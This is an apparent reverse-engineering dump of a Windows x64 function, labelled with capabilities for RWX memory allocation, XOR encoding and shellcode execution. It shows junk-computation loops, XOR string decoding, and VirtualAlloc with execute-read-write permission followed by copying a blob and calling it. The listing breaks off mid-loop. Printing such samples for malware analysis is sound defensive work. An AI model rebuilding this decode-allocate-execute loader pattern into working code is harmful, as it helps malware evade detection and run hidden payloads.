Function at 0x14000f540
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x15e0]
mov eax, 0x16e0
call fcn.14002d390
sub rsp, rax
movaps xmmword [rsp + 0x16d0], xmm6
movaps xmmword [rsp + 0x16c0], xmm7
movaps xmmword [rsp + 0x16b0], xmm8
movaps xmmword [rsp + 0x16a0], xmm9
movaps xmmword [rsp + 0x1690], xmm10
movaps xmmword [rsp + 0x1680], xmm11
movaps xmmword [rsp + 0x1670], xmm12
movaps xmmword [rsp + 0x1660], xmm13
movaps xmmword [rsp + 0x1650], xmm14
movaps xmmword [rsp + 0x1640], xmm15
mov rax, qword [0x14003a040]
xor rax, rsp
mov qword [rbp + 0x1530], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
lea rax, [rbp + 0x1608]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x168], rcx
mov qword [rbp + 0x170], rax
mov rax, qword [rax]
xor rax, rcx
mov qword [rbp + 0x160], rax
movups xmmword [rbp + 0xd8], xmm0
lea r15, [rbp + 0x1608]
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xd8], rcx
mov qword [r15], r12
mov edi, dword [rbx + 0x10]
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000f648
mov r8, qword [rbx]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call fcn.14002c6ac
mov rsi, rax
cmp qword [rbx + 0x18], 0xf
jbe 0x14000f68b
mov rbx, qword [rbx]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
lea r9d, [rdi + 1]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rsi
lea rcx, [rbp + 0xb0]
call fcn.1400204c0
mov rcx, rsi
call fcn.14002c350
nop
mov qword [rbp + 0xd8], r12
mov qword [r15], r12
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x10]
call fcn.14000bfe0
nop
mov rdx, rax
lea rcx, [rbp + 0x178]
call fcn.140003490
nop
lea rcx, [rbp - 0x10]
call fcn.1400026f0
nop
lea rcx, [rbp + 0xb0]
call fcn.1400026f0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.1400200e0
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x1400319b0]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
xorps xmm7, xmm7
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x40]
call fcn.140001650
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140021a70
lea rcx, [rbp + 0xf0]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.140021a90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x60]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021ac0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x60]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021af0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x60]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x60]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x60]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x60]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024f0
movsd xmm8, qword [0x140031910]
movsd xmm6, qword [0x140031908]
test al, al
jns 0x14000fc5c
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm1, xmm5
call fcn.1400023c0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [0x1400309c0]
lea rcx, [rbp + 0x120]
call fcn.1400207c0
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002330
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rcx, [rbp + 0xd8]
call fcn.140020190
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021c30
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002440
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021c90
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x14000fb56
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000fb65
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x14000fbe5
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000fc05
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x14000fb80
sub rdi, 1
jne 0x14000fb70
lea rcx, [rbp + 0xd8]
call fcn.140020130
nop
lea rcx, [rbp + 0x120]
call fcn.140020760
sub rsi, 1
jne 0x14000f940
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024f0
test al, al
js 0x14000f930
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.140020040
movups xmm0, xmmword [str.2_9:_r]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [0x1400311d0]
movups xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [0x1400311e0]
movups xmmword [rbp + 0x140], xmm0
movsd xmm0, qword [0x1400311f0]
movsd qword [rbp + 0x150], xmm0
mov eax, dword [0x1400311f8]
mov dword [rbp + 0x158], eax
movzx eax, word [0x1400311fc]
mov word [rbp + 0x15c], ax
movzx eax, byte [0x1400311fe]
mov byte [rbp + 0x15e], al
mov r9d, r12d
movdqa xmm9, xmmword [0x140031990]
movdqa xmm12, xmmword [0x1400319d0]
movdqa xmm14, xmmword [0x140031980]
movdqa xmm15, xmmword [0x140031a00]
movdqa xmm10, xmmword [0x1400319f0]
movdqa xmm11, xmmword [0x1400319c0]
movdqa xmm13, xmmword [0x140031960]
mov r15d, dword [0x14003a090]
cmp r15d, 2
jl 0x14000fec1
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x120]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x14000fd40
cmp r9d, 0x3f
jge 0x14000ff21
movsxd rax, r9d
lea r10, [rbp + 0x120]
add r10, rax
nop
mov eax, 0x4d4873ed
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x77
sub r8b, cl
add r8b, 0x55
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x14000fed0
lea rax, [rbp + 0x120]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov r14d, 3
lea rbx, [0x140022230]
lea rdi, [0x140000000]
mov rax, qword [0x14003bea0]
test rax, rax
je 0x14000ff99
cmp rax, rbx
je 0x14000ff86
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3bea0]
test rax, rax
jne 0x14000ff70
jmp 0x14000ff99
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b860]
test r8, r8
jne 0x14001007f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000ffc2
mov r8, r12
jmp 0x14001005e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000ffd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003b850]
mov qword [rdi + rax*8 + 0x3bea0], rbx
mov qword [rdi + rax*8 + 0x3b860], r8
inc rax
mov qword [0x14003b850], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000add0]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.1400200e0
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x1400319b0]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x50]
call fcn.140001650
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.140021a70
lea rcx, [rbp + 0xf0]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.140021a90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021ac0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021af0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
jns 0x1400105f3
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm1, xmm5
call fcn.1400023c0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [0x1400309c0]
lea rcx, [rbp + 0x120]
call fcn.1400207c0
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002330
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rcx, [rbp + 0xd8]
call fcn.140020190
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021c30
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002440
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021c90
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x1400104e6
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400104f5
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x140010575
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140010595
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x140010510
sub rdi, 1
jne 0x140010500
lea rcx, [rbp + 0xd8]
call fcn.140020130
nop
lea rcx, [rbp + 0x120]
call fcn.140020760
sub rsi, 1
jne 0x1400102d0
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
js 0x1400102c2
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.140020040
mov dword [rsp + 0x30], 0x96
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
lea r13, [0x140022260]
mov rax, qword [0x14003bb80]
test rax, rax
je 0x14001066a
cmp rax, r13
je 0x140010657
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3bb80]
test rax, rax
jne 0x140010641
jmp 0x14001066a
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3d4c0]
test r8, r8
jne 0x14001074f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010693
mov r8, r12
jmp 0x14001072e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400106a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003c1c0]
mov qword [rdi + rax*8 + 0x3bb80], r13
mov qword [rdi + rax*8 + 0x3d4c0], r8
inc rax
mov qword [0x14003c1c0], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
movups xmm0, xmmword [str.wwvyA]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x140031110]
movups xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [0x140031120]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [0x140031130]
movups xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [0x140031140]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x140031150]
movups xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [0x140031160]
movups xmmword [rbp + 0x90], xmm0
movsd xmm0, qword [0x140031170]
movsd qword [rbp + 0xa0], xmm0
movzx eax, byte [0x140031178]
mov byte [rbp + 0xa8], al
mov r9d, r12d
cmp r15d, 2
jl 0x140010991
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x30]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
